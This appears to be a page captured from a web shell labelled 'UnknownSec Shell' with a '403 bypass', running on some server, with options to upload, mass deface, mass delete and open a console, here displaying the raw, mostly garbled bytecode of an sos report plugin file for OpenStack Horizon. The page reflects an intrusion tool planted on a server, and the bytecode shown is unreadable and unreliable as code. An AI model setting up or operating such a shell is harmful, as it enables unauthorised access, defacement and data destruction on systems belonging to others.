shell bypass 403
UnknownSec Shell
:
/
lib
/
python3
/
dist-packages
/
sos
/
report
/
plugins
/
__pycache__
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
openstack_horizon.cpython-312.pyc
� i��dB � �z � d dl mZmZmZmZ G d� de� Z G d� dee� Z G d� dee� Z G d� d ee� Zy )� )�Plugin�RedHatPlugin�DebianPlugin�UbuntuPluginc �( � e Zd ZdZdZdZdZd� Zd� Zy)�OpenStackHorizonzOpenStack Horizon�openstack_horizon)� openstack�openstack_controllerz%/var/lib/config-data/puppet-generatedc �B � | j d� r| j dg� n| j dg� | j d| j dz | j dz | j dz | j dz | j d z g� | j d � y )N�all_logsz/var/log/horizon/z/var/log/horizon/*.logz/etc/openstack-dashboard/z!/horizon/etc/openstack-dashboard/z/horizon/etc/httpd/conf/z/horizon/etc/httpd/conf.d/z(/horizon/etc/httpd/conf.modules.d/*.confz"/memcached/etc/sysconfig/memcachedz2/etc/openstack-dashboard/local_settings.d/*.py[co])� get_option� add_copy_spec�var_puppet_gen�add_forbidden_path)�selfs �F/usr/lib/python3/dist-packages/sos/report/plugins/openstack_horizon.py�setupzOpenStackHorizon.setup s� � ��?�?�:�&����#� � � ���(� � � ���'����"E�E����"<�<����">�>����"L�L����"F�F� � � ���@� � c � � | j dz }ddg}ddj |� z }dD ]+ }| j ||d� | j ||z |d� �- y )Nz/horizon� SECRET_KEY�EMAIL_HOST_PASSWORDz(^\s*(%s)\s*=\s*)(.*)�|)z!/etc/openstack-dashboard/.*\.jsonz(/etc/openstack-dashboard/local_settings$z\1*********)r �join�do_path_regex_sub)r r �protect_keys�regexp�regpaths r �postproczOpenStackHorizon.postproc/ sr � ��,�,�z�9���/� �� *�C�H�H�\�,B�B��D� ;�G��"�"�7�F�N�C��"�"�>�G�#;�#)�>� ;� ;r N) �__name__� __module__�__qualname__� short_desc�plugin_name�profilesr r r � r r r r s � �$�J�%�K�4�H�<�N� �,;r r c �"